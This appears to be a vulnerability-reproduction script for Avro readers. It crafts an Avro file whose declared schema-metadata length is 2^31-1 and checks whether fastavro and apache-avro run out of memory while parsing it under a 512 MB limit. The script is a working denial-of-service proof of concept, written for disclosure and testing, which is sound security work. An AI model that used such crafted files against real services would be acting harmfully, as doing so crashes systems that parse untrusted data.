hacnho's picture
Upload reproduce.py with huggingface_hub
ec5b43c verified
Raw
History Blame
5.38 kB
#!/usr/bin/env python3
import json
import os
import resource
import subprocess
import sys
import tempfile
import time
from pathlib import Path
HUGE_LENGTH = 2**31 - 1
def encode_long(value: int) -> bytes:
value = (value << 1) ^ (value >> 63)
out = bytearray()
while value & ~0x7F:
out.append((value & 0x7F) | 0x80)
value >>= 7
out.append(value & 0x7F)
return bytes(out)
def read_long(data: bytes, offset: int) -> tuple[int, int]:
shift = 0
raw = 0
while True:
b = data[offset]
offset += 1
raw |= (b & 0x7F) << shift
if not b & 0x80:
break
shift += 7
if shift > 70:
raise ValueError("oversized varint")
value = (raw >> 1) ^ -(raw & 1)
return value, offset
def read_bytes_span(data: bytes, offset: int) -> tuple[int, int, int, bytes]:
len_start = offset
size, offset = read_long(data, offset)
len_end = offset
if size < 0:
raise ValueError(f"negative byte length {size}")
end = offset + size
if end > len(data):
raise ValueError("byte span overflows file")
return len_start, len_end, end, data[offset:end]
def find_metadata_value_len_span(data: bytes, wanted_key: bytes) -> tuple[int, int]:
if not data.startswith(b"Obj\x01"):
raise ValueError("not an Avro object container file")
offset = 4
count, offset = read_long(data, offset)
while count:
if count < 0:
count = -count
_, offset = read_long(data, offset)
for _ in range(count):
_, _, key_end, key = read_bytes_span(data, offset)
offset = key_end
val_len_start, val_len_end, val_end, _value = read_bytes_span(data, offset)
if key == wanted_key:
return val_len_start, val_len_end
offset = val_end
count, offset = read_long(data, offset)
raise KeyError(wanted_key)
def make_control(path: Path) -> None:
from fastavro import writer
schema = {
"type": "record",
"name": "Tiny",
"fields": [{"name": "x", "type": "int"}],
}
with path.open("wb") as fp:
writer(fp, schema, [{"x": 1}], codec="deflate")
def mutate_metadata_length(control: Path, malicious: Path) -> None:
data = control.read_bytes()
start, end = find_metadata_value_len_span(data, b"avro.schema")
malicious.write_bytes(data[:start] + encode_long(HUGE_LENGTH) + data[end:])
WORKER = r"""
import sys
path, mode = sys.argv[1], sys.argv[2]
if mode == "fastavro":
from fastavro import reader
with open(path, "rb") as fp:
print(list(reader(fp)))
elif mode == "apache-avro":
from avro.datafile import DataFileReader
from avro.io import DatumReader
with open(path, "rb") as fp:
rdr = DataFileReader(fp, DatumReader())
print(list(rdr))
rdr.close()
else:
raise SystemExit("bad mode")
"""
def limit_child(memory_mb: int) -> None:
limit = memory_mb * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
def run_load(path: Path, mode: str, memory_mb: int, timeout: float) -> dict:
started = time.time()
try:
cp = subprocess.run(
[sys.executable, "-c", WORKER, str(path), mode],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=timeout,
check=False,
preexec_fn=lambda: limit_child(memory_mb),
)
return {
"path": str(path),
"mode": mode,
"returncode": cp.returncode,
"elapsed": time.time() - started,
"stdout": cp.stdout[-1000:],
"stderr": cp.stderr[-3000:],
"memory_error": "MemoryError" in cp.stderr,
}
except subprocess.TimeoutExpired as exc:
return {
"path": str(path),
"mode": mode,
"returncode": "timeout",
"elapsed": time.time() - started,
"stdout": (exc.stdout or "")[-1000:] if isinstance(exc.stdout, str) else "",
"stderr": (exc.stderr or "")[-3000:] if isinstance(exc.stderr, str) else "",
"memory_error": False,
}
def main() -> int:
with tempfile.TemporaryDirectory() as td:
td_path = Path(td)
control = td_path / "control.avro"
malicious = td_path / "malicious-huge-avro-schema-length.avro"
make_control(control)
mutate_metadata_length(control, malicious)
results = []
for file_path in [control, malicious]:
for mode in ["fastavro", "apache-avro"]:
results.append(run_load(file_path, mode, memory_mb=512, timeout=8.0))
out = {
"python": sys.version,
"cwd": os.getcwd(),
"huge_declared_length": HUGE_LENGTH,
"control_size": control.stat().st_size,
"malicious_size": malicious.stat().st_size,
"memory_limit_mb": 512,
"results": results,
"finding": all(r["returncode"] == 0 for r in results[:2])
and all(r["memory_error"] for r in results[2:]),
}
print(json.dumps(out, indent=2))
return 0 if out["finding"] else 1
if __name__ == "__main__":
raise SystemExit(main())